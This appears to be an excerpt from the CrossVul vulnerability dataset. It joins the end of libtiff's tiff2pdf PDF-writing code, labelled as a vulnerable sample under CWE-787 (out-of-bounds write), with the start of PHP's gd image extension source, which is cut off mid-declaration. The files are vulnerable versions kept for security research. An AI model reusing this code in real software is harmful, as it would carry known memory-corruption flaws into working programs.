check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) ">>\n", 3); } break; #endif default: break; } return(written); } /* This function writes a PDF xref table to output. */ tsize_t t2p_write_pdf_xreftable(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[64]; int buflen=0; uint32 i=0; written += t2pWriteFile(output, (tdata_t) "xref\n0 ", 7); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(t2p->pdf_xrefcount + 1)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " \n0000000000 65535 f \n", 22); for (i=0;i<t2p->pdf_xrefcount;i++){ snprintf(buffer, sizeof(buffer), "%.10lu 00000 n \n", (unsigned long)t2p->pdf_xrefoffsets[i]); written += t2pWriteFile(output, (tdata_t) buffer, 20); } return(written); } /* * This function writes a PDF trailer to output. */ tsize_t t2p_write_pdf_trailer(T2P* t2p, TIFF* output) { tsize_t written = 0; char buffer[32]; int buflen = 0; size_t i = 0; for (i = 0; i < sizeof(t2p->pdf_fileid) - 8; i += 8) snprintf(t2p->pdf_fileid + i, 9, "%.8X", rand()); written += t2pWriteFile(output, (tdata_t) "trailer\n<<\n/Size ", 17); buflen = snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(t2p->pdf_xrefcount+1)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "\n/Root ", 7); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_catalog); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R \n/Info ", 12); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_info); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R \n/ID[<", 11); written += t2pWriteFile(output, (tdata_t) t2p->pdf_fileid, sizeof(t2p->pdf_fileid) - 1); written += t2pWriteFile(output, (tdata_t) "><", 2); written += t2pWriteFile(output, (tdata_t) t2p->pdf_fileid, sizeof(t2p->pdf_fileid) - 1); written += t2pWriteFile(output, (tdata_t) ">]\n>>\nstartxref\n", 16); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_startxref); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "\n%%EOF\n", 7); return(written); } /* This function writes a PDF to a file given a pointer to a TIFF. The idea with using a TIFF* as output for a PDF file is that the file can be created with TIFFClientOpen for memory-mapped use within the TIFF library, and TIFFWriteEncodedStrip can be used to write compressed data to the output. The output is not actually a TIFF file, it is a PDF file. This function uses only t2pWriteFile and TIFFWriteEncodedStrip to write to the output TIFF file. When libtiff would otherwise be writing data to the output file, the write procedure of the TIFF structure is replaced with an empty implementation. The first argument to the function is an initialized and validated T2P context struct pointer. The second argument to the function is the TIFF* that is the input that has been opened for reading and no other functions have been called upon it. The third argument to the function is the TIFF* that is the output that has been opened for writing. It has to be opened so that it hasn't written any data to the output. If the output is seekable then it's OK to seek to the beginning of the file. The function only writes to the output PDF and does not seek. See the example usage in the main() function. TIFF* output = TIFFOpen("output.pdf", "w"); assert(output != NULL); if(output->tif_seekproc != NULL){ t2pSeekFile(output, (toff_t) 0, SEEK_SET); } This function returns the file size of the output PDF file. On error it returns zero and the t2p->t2p_error variable is set to T2P_ERR_ERROR. After this function completes, call t2p_free on t2p, TIFFClose on input, and TIFFClose on output. */ tsize_t t2p_write_pdf(T2P* t2p, TIFF* input, TIFF* output){ tsize_t written=0; ttile_t i2=0; tsize_t streamlen=0; uint16 i=0; t2p_read_tiff_init(t2p, input); if(t2p->t2p_error!=T2P_ERR_OK){return(0);} t2p->pdf_xrefoffsets= (uint32*) _TIFFmalloc(TIFFSafeMultiply(tmsize_t,t2p->pdf_xrefcount,sizeof(uint32)) ); if(t2p->pdf_xrefoffsets==NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate %u bytes of memory for t2p_write_pdf", (unsigned int) (t2p->pdf_xrefcount * sizeof(uint32)) ); t2p->t2p_error = T2P_ERR_ERROR; return(written); } t2p->pdf_xrefcount=0; t2p->pdf_catalog=1; t2p->pdf_info=2; t2p->pdf_pages=3; written += t2p_write_pdf_header(t2p, output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; t2p->pdf_catalog=t2p->pdf_xrefcount; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_catalog(t2p, output); written += t2p_write_pdf_obj_end(output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; t2p->pdf_info=t2p->pdf_xrefcount; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_info(t2p, input, output); written += t2p_write_pdf_obj_end(output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; t2p->pdf_pages=t2p->pdf_xrefcount; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_pages(t2p, output); written += t2p_write_pdf_obj_end(output); for(t2p->pdf_page=0;t2p->pdf_page<t2p->tiff_pagecount;t2p->pdf_page++){ t2p_read_tiff_data(t2p, input); if(t2p->t2p_error!=T2P_ERR_OK){return(0);} t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_page(t2p->pdf_xrefcount, t2p, output); written += t2p_write_pdf_obj_end(output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_dict_start(output); written += t2p_write_pdf_stream_dict(0, t2p->pdf_xrefcount+1, output); written += t2p_write_pdf_stream_dict_end(output); written += t2p_write_pdf_stream_start(output); streamlen=written; written += t2p_write_pdf_page_content_stream(t2p, output); streamlen=written-streamlen; written += t2p_write_pdf_stream_end(output); written += t2p_write_pdf_obj_end(output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_length(streamlen, output); written += t2p_write_pdf_obj_end(output); if(t2p->tiff_transferfunctioncount != 0){ t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_transfer(t2p, output); written += t2p_write_pdf_obj_end(output); for(i=0; i < t2p->tiff_transferfunctioncount; i++){ t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_dict_start(output); written += t2p_write_pdf_transfer_dict(t2p, output, i); written += t2p_write_pdf_stream_dict_end(output); written += t2p_write_pdf_stream_start(output); /* streamlen=written; */ /* value not used */ written += t2p_write_pdf_transfer_stream(t2p, output, i); /* streamlen=written-streamlen; */ /* value not used */ written += t2p_write_pdf_stream_end(output); written += t2p_write_pdf_obj_end(output); } } if( (t2p->pdf_colorspace & T2P_CS_PALETTE) != 0){ t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; t2p->pdf_palettecs=t2p->pdf_xrefcount; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_dict_start(output); written += t2p_write_pdf_stream_dict(t2p->pdf_palettesize, 0, output); written += t2p_write_pdf_stream_dict_end(output); written += t2p_write_pdf_stream_start(output); /* streamlen=written; */ /* value not used */ written += t2p_write_pdf_xobject_palettecs_stream(t2p, output); /* streamlen=written-streamlen; */ /* value not used */ written += t2p_write_pdf_stream_end(output); written += t2p_write_pdf_obj_end(output); } if( (t2p->pdf_colorspace & T2P_CS_ICCBASED) != 0){ t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; t2p->pdf_icccs=t2p->pdf_xrefcount; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_dict_start(output); written += t2p_write_pdf_xobject_icccs_dict(t2p, output); written += t2p_write_pdf_stream_dict_end(output); written += t2p_write_pdf_stream_start(output); /* streamlen=written; */ /* value not used */ written += t2p_write_pdf_xobject_icccs_stream(t2p, output); /* streamlen=written-streamlen; */ /* value not used */ written += t2p_write_pdf_stream_end(output); written += t2p_write_pdf_obj_end(output); } if(t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount !=0){ for(i2=0;i2<t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount;i2++){ t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_dict_start(output); written += t2p_write_pdf_xobject_stream_dict( i2+1, t2p, output); written += t2p_write_pdf_stream_dict_end(output); written += t2p_write_pdf_stream_start(output); streamlen=written; t2p_read_tiff_size_tile(t2p, input, i2); written += t2p_readwrite_pdf_image_tile(t2p, input, output, i2); t2p_write_advance_directory(t2p, output); if(t2p->t2p_error!=T2P_ERR_OK){return(0);} streamlen=written-streamlen; written += t2p_write_pdf_stream_end(output); written += t2p_write_pdf_obj_end(output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_length(streamlen, output); written += t2p_write_pdf_obj_end(output); } } else { t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_dict_start(output); written += t2p_write_pdf_xobject_stream_dict( 0, t2p, output); written += t2p_write_pdf_stream_dict_end(output); written += t2p_write_pdf_stream_start(output); streamlen=written; t2p_read_tiff_size(t2p, input); written += t2p_readwrite_pdf_image(t2p, input, output); t2p_write_advance_directory(t2p, output); if(t2p->t2p_error!=T2P_ERR_OK){return(0);} streamlen=written-streamlen; written += t2p_write_pdf_stream_end(output); written += t2p_write_pdf_obj_end(output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_length(streamlen, output); written += t2p_write_pdf_obj_end(output); } } t2p->pdf_startxref = written; written += t2p_write_pdf_xreftable(t2p, output); written += t2p_write_pdf_trailer(t2p, output); t2p_disable(output); return(written); } /* vim: set ts=8 sts=8 sw=8 noet: */ /* * Local Variables: * mode: c * c-basic-offset: 8 * fill-column: 78 * End: */
./CrossVul/dataset_final_sorted/CWE-787/c/bad_5478_3
crossvul-cpp_data_bad_5257_0
/* +----------------------------------------------------------------------+ | PHP Version 5 | +----------------------------------------------------------------------+ | Copyright (c) 1997-2016 The PHP Group | +----------------------------------------------------------------------+ | This source file is subject to version 3.01 of the PHP license, | | that is bundled with this package in the file LICENSE, and is | | available through the world-wide-web at the following url: | | http://www.php.net/license/3_01.txt | | If you did not receive a copy of the PHP license and are unable to | | obtain it through the world-wide-web, please send a note to | | license@php.net so we can mail you a copy immediately. | +----------------------------------------------------------------------+ | Authors: Rasmus Lerdorf <rasmus@php.net> | | Stig Bakken <ssb@php.net> | | Jim Winstead <jimw@php.net> | +----------------------------------------------------------------------+ */ /* $Id$ */ /* gd 1.2 is copyright 1994, 1995, Quest Protein Database Center, Cold Spring Harbor Labs. */ /* Note that there is no code from the gd package in this file */ #ifdef HAVE_CONFIG_H #include "config.h" #endif #include "php.h" #include "php_ini.h" #include "ext/standard/head.h" #include <math.h> #include "SAPI.h" #include "php_gd.h" #include "ext/standard/info.h" #include "php_open_temporary_file.h" #if HAVE_SYS_WAIT_H # include <sys/wait.h> #endif #if HAVE_UNISTD_H # include <unistd.h> #endif #ifdef PHP_WIN32 # include <io.h> # include <fcntl.h> # include <windows.h> # include <Winuser.h> # include <Wingdi.h> #endif #ifdef HAVE_GD_XPM # include <X11/xpm.h> #endif # include "gd_compat.h" static int le_gd, le_gd_font; #if HAVE_LIBT1 #include <t1lib.h> static int le_ps_font, le_ps_enc; static void php_free_ps_font(zend_rsrc_list_entry *rsrc TSRMLS_DC); static void php_free_ps_enc(zend_rsrc_list_entry *rsrc TSRMLS_DC); #endif #include <gd.h> #ifndef HAVE_GD_BUNDLED # include <gd_errors.h> #endif #include <gdfontt.h> /* 1 Tiny font */ #include <gdfonts.h> /* 2 Small font */ #include <gdfontmb.h> /* 3 Medium bold font */ #include <gdfontl.h> /* 4 Large font */ #include <gdfontg.h> /* 5 Giant font */ #ifdef ENABLE_GD_TTF # ifdef HAVE_LIBFREETYPE # include <ft2build.h> # include FT_FREETYPE_H # endif #endif #if defined(HAVE_GD_XPM) && defined(HAVE_GD_BUNDLED) # include "X11/xpm.h" #endif #ifndef M_PI #define M_PI 3.14159265358979323846 #endif #ifdef ENABLE_GD_TTF static void php_imagettftext_common(INTERNAL_FUNCTION_PARAMETERS, int, int); #endif #include "gd_ctx.c" /* as it is not really public, duplicate declaration here to avoid pointless warnings */ int overflow2(int a, int b); /* Section Filters Declarations */ /* IMPORTANT NOTE FOR NEW FILTER * Do not forget to update: * IMAGE_FILTER_MAX: define the last filter index * IMAGE_FILTER_MAX_ARGS: define the biggest amount of arguments * image_filter array in PHP_FUNCTION(imagefilter) * */ #define IMAGE_FILTER_NEGATE 0 #define IMAGE_FILTER_GRAYSCALE 1 #define IMAGE_FILTER_BRIGHTNESS 2 #define IMAGE_FILTER_CONTRAST 3 #define IMAGE_FILTER_COLORIZE 4 #define IMAGE_FILTER_EDGEDETECT 5 #define IMAGE_FILTER_EMBOSS 6 #define IMAGE_FILTER_GAUSSIAN_BLUR 7 #define IMAGE_FILTER_SELECTIVE_BLUR 8 #define IMAGE_FILTER_MEAN_REMOVAL 9 #define IMAGE_FILTER_SMOOTH 10 #define IMAGE_FILTER_PIXELATE 11 #define IMAGE_FILTER_MAX 11 #define IMAGE_FILTER_MAX_ARGS 6 static void php_image_filter_negate(INTERNAL_FUNCTION_PARAMETERS); static void php_image_filter_grayscale(INTERNAL_FUNCTION_PARAMETERS); static void php_image_filter_brightness(INTERNAL_FUNCTION_PARAMETERS); static void php_image_filter_contrast(INTERNAL_FUNCTION_PARAMETERS); static void php_image_filter_colorize(INTERNAL_FUNCTION_PARAMETERS); static void php_image_filter_edgedetect(INTERNAL_FUNCTION_PARAMETERS); static void php_image_filter_emboss(INTERNAL_FUNCTION_PARAMETERS); static void php_image_filter_gaussian_blur(INTERNAL_FUNCTION_PARAMETERS); static void php_image_filter_selective_blur(INTERNAL_FUNCTION_PARAMETERS); static void php_image_filter_mean_removal(INTERNAL_FUNCTION_PARAMETERS); static void php_image_filter_smooth(INTERNAL_FUNCTION_PARAMETERS); static void php_image_filter_pixelate(INTERNAL_FUNCTION_PARAMETERS); /* End Section filters declarations */ static gdImagePtr _php_image_create_from_string (zval **Data, char *tn, gdImagePtr (*ioctx_func_p)() TSRMLS_DC); static void _php_image_create_from(INTERNAL_FUNCTION_PARAMETERS, int image_type, char *tn, gdImagePtr (*func_p)(), gdImagePtr (*ioctx_func_p)()); static void _php_image_output(INTERNAL_FUNCTION_PARAMETERS, int image_type, char *tn, void (*func_p)()); static int _php_image_type(char data[8]); static void _php_image_convert(INTERNAL_FUNCTION_PARAMETERS, int image_type); static void _php_image_bw_convert(gdImagePtr im_org, gdIOCtx *out, int threshold); /* {{{ arginfo */ ZEND_BEGIN_ARG_INFO(arginfo_gd_info, 0) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imageloadfont, 0) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagesetstyle, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, styles) /* ARRAY_INFO(0, styles, 0) */ ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecreatetruecolor, 0) ZEND_ARG_INFO(0, x_size) ZEND_ARG_INFO(0, y_size) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imageistruecolor, 0) ZEND_ARG_INFO(0, im) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagetruecolortopalette, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, ditherFlag) ZEND_ARG_INFO(0, colorsWanted) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagepalettetotruecolor, 0) ZEND_ARG_INFO(0, im) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolormatch, 0) ZEND_ARG_INFO(0, im1) ZEND_ARG_INFO(0, im2) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagesetthickness, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, thickness) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagefilledellipse, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, cx) ZEND_ARG_INFO(0, cy) ZEND_ARG_INFO(0, w) ZEND_ARG_INFO(0, h) ZEND_ARG_INFO(0, color) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagefilledarc, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, cx) ZEND_ARG_INFO(0, cy) ZEND_ARG_INFO(0, w) ZEND_ARG_INFO(0, h) ZEND_ARG_INFO(0, s) ZEND_ARG_INFO(0, e) ZEND_ARG_INFO(0, col) ZEND_ARG_INFO(0, style) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagealphablending, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, blend) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagesavealpha, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, save) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagelayereffect, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, effect) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorallocatealpha, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, red) ZEND_ARG_INFO(0, green) ZEND_ARG_INFO(0, blue) ZEND_ARG_INFO(0, alpha) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorresolvealpha, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, red) ZEND_ARG_INFO(0, green) ZEND_ARG_INFO(0, blue) ZEND_ARG_INFO(0, alpha) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorclosestalpha, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, red) ZEND_ARG_INFO(0, green) ZEND_ARG_INFO(0, blue) ZEND_ARG_INFO(0, alpha) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorexactalpha, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, red) ZEND_ARG_INFO(0, green) ZEND_ARG_INFO(0, blue) ZEND_ARG_INFO(0, alpha) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecopyresampled, 0) ZEND_ARG_INFO(0, dst_im) ZEND_ARG_INFO(0, src_im) ZEND_ARG_INFO(0, dst_x) ZEND_ARG_INFO(0, dst_y) ZEND_ARG_INFO(0, src_x) ZEND_ARG_INFO(0, src_y) ZEND_ARG_INFO(0, dst_w) ZEND_ARG_INFO(0, dst_h) ZEND_ARG_INFO(0, src_w) ZEND_ARG_INFO(0, src_h) ZEND_END_ARG_INFO() #ifdef PHP_WIN32 ZEND_BEGIN_ARG_INFO_EX(arginfo_imagegrabwindow, 0, 0, 1) ZEND_ARG_INFO(0, handle) ZEND_ARG_INFO(0, client_area) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagegrabscreen, 0) ZEND_END_ARG_INFO() #endif ZEND_BEGIN_ARG_INFO_EX(arginfo_imagerotate, 0, 0, 3) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, angle) ZEND_ARG_INFO(0, bgdcolor) ZEND_ARG_INFO(0, ignoretransparent) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagesettile, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, tile) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagesetbrush, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, brush) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecreate, 0) ZEND_ARG_INFO(0, x_size) ZEND_ARG_INFO(0, y_size) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagetypes, 0) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecreatefromstring, 0) ZEND_ARG_INFO(0, image) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecreatefromgif, 0) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() #ifdef HAVE_GD_JPG ZEND_BEGIN_ARG_INFO(arginfo_imagecreatefromjpeg, 0) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() #endif #ifdef HAVE_GD_PNG ZEND_BEGIN_ARG_INFO(arginfo_imagecreatefrompng, 0) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() #endif #ifdef HAVE_GD_WEBP ZEND_BEGIN_ARG_INFO(arginfo_imagecreatefromwebp, 0) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() #endif ZEND_BEGIN_ARG_INFO(arginfo_imagecreatefromxbm, 0) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() #if defined(HAVE_GD_XPM) ZEND_BEGIN_ARG_INFO(arginfo_imagecreatefromxpm, 0) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() #endif ZEND_BEGIN_ARG_INFO(arginfo_imagecreatefromwbmp, 0) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecreatefromgd, 0) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecreatefromgd2, 0) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecreatefromgd2part, 0) ZEND_ARG_INFO(0, filename) ZEND_ARG_INFO(0, srcX) ZEND_ARG_INFO(0, srcY) ZEND_ARG_INFO(0, width) ZEND_ARG_INFO(0, height) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imagexbm, 0, 0, 2) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, filename) ZEND_ARG_INFO(0, foreground) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imagegif, 0, 0, 1) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() #ifdef HAVE_GD_PNG ZEND_BEGIN_ARG_INFO_EX(arginfo_imagepng, 0, 0, 1) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() #endif #ifdef HAVE_GD_WEBP ZEND_BEGIN_ARG_INFO_EX(arginfo_imagewebp, 0, 0, 1) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() #endif #ifdef HAVE_GD_JPG ZEND_BEGIN_ARG_INFO_EX(arginfo_imagejpeg, 0, 0, 1) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, filename) ZEND_ARG_INFO(0, quality) ZEND_END_ARG_INFO() #endif ZEND_BEGIN_ARG_INFO_EX(arginfo_imagewbmp, 0, 0, 1) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, filename) ZEND_ARG_INFO(0, foreground) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imagegd, 0, 0, 1) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imagegd2, 0, 0, 1) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, filename) ZEND_ARG_INFO(0, chunk_size) ZEND_ARG_INFO(0, type) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagedestroy, 0) ZEND_ARG_INFO(0, im) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorallocate, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, red) ZEND_ARG_INFO(0, green) ZEND_ARG_INFO(0, blue) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagepalettecopy, 0) ZEND_ARG_INFO(0, dst) ZEND_ARG_INFO(0, src) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorat, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, x) ZEND_ARG_INFO(0, y) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorclosest, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, red) ZEND_ARG_INFO(0, green) ZEND_ARG_INFO(0, blue) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorclosesthwb, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, red) ZEND_ARG_INFO(0, green) ZEND_ARG_INFO(0, blue) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolordeallocate, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, index) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorresolve, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, red) ZEND_ARG_INFO(0, green) ZEND_ARG_INFO(0, blue) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorexact, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, red) ZEND_ARG_INFO(0, green) ZEND_ARG_INFO(0, blue) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imagecolorset, 0, 0, 5) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, color) ZEND_ARG_INFO(0, red) ZEND_ARG_INFO(0, green) ZEND_ARG_INFO(0, blue) ZEND_ARG_INFO(0, alpha) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorsforindex, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, index) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagegammacorrect, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, inputgamma) ZEND_ARG_INFO(0, outputgamma) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagesetpixel, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, x) ZEND_ARG_INFO(0, y) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imageline, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, x1) ZEND_ARG_INFO(0, y1) ZEND_ARG_INFO(0, x2) ZEND_ARG_INFO(0, y2) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagedashedline, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, x1) ZEND_ARG_INFO(0, y1) ZEND_ARG_INFO(0, x2) ZEND_ARG_INFO(0, y2) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagerectangle, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, x1) ZEND_ARG_INFO(0, y1) ZEND_ARG_INFO(0, x2) ZEND_ARG_INFO(0, y2) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagefilledrectangle, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, x1) ZEND_ARG_INFO(0, y1) ZEND_ARG_INFO(0, x2) ZEND_ARG_INFO(0, y2) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagearc, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, cx) ZEND_ARG_INFO(0, cy) ZEND_ARG_INFO(0, w) ZEND_ARG_INFO(0, h) ZEND_ARG_INFO(0, s) ZEND_ARG_INFO(0, e) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imageellipse, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, cx) ZEND_ARG_INFO(0, cy) ZEND_ARG_INFO(0, w) ZEND_ARG_INFO(0, h) ZEND_ARG_INFO(0, color) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagefilltoborder, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, x) ZEND_ARG_INFO(0, y) ZEND_ARG_INFO(0, border) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() 